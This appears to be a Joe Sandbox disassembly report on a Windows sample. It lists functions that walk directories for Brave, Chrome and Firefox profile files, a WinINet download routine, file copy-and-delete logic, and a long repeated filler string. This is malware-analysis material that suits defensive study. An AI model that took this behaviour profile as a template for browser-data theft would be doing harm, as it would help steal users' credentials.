Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

\Brave\Preferences, xrefs: 0040C01B
Brave, xrefs: 0040BF42
Google Chrome, xrefs: 0040C474
Preferences, xrefs: 0040BF5E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b8d54855bac84cb5f799b0406d7ac61f601ee05180926d3c59a99990d5a6785e
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: b8d54855bac84cb5f799b0406d7ac61f601ee05180926d3c59a99990d5a6785e
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

GTC, xrefs: 6C5A3912
GenuntelineI, xrefs: 6C5A3639
AuthcAMDenti, xrefs: 6C5A3946
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
QPC, xrefs: 6C5A38FC

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: dcfce545db42eafbc4c00841a23c402624ef2cb148c78d65778cbd64a4c48614
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: dcfce545db42eafbc4c00841a23c402624ef2cb148c78d65778cbd64a4c48614
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 69e6fc4b3b9ceb1d85bb5aa77bdb22dc69ea1785c54d76d3d8369d823c76fbdb
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 69e6fc4b3b9ceb1d85bb5aa77bdb22dc69ea1785c54d76d3d8369d823c76fbdb
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0c023fc6671106c76bc197228c244843c5604ae95ff1bc6e8b65d97538362145
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 0c023fc6671106c76bc197228c244843c5604ae95ff1bc6e8b65d97538362145
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0786eeb1295010aa9cf7b95a213873d529ff890f6d1a2a5683179d0ce087cfe5
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 0786eeb1295010aa9cf7b95a213873d529ff890f6d1a2a5683179d0ce087cfe5
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a83782f97f89d8ef5a489bcae6ca2c7fa0ef729b615697f6a3d1f51cfcfcb169
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: a83782f97f89d8ef5a489bcae6ca2c7fa0ef729b615697f6a3d1f51cfcfcb169
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 8912334202a1d32a15963cb3ae07022ef33d78cc5b0ab64b554d4c9825581f62
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 8912334202a1d32a15963cb3ae07022ef33d78cc5b0ab64b554d4c9825581f62
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
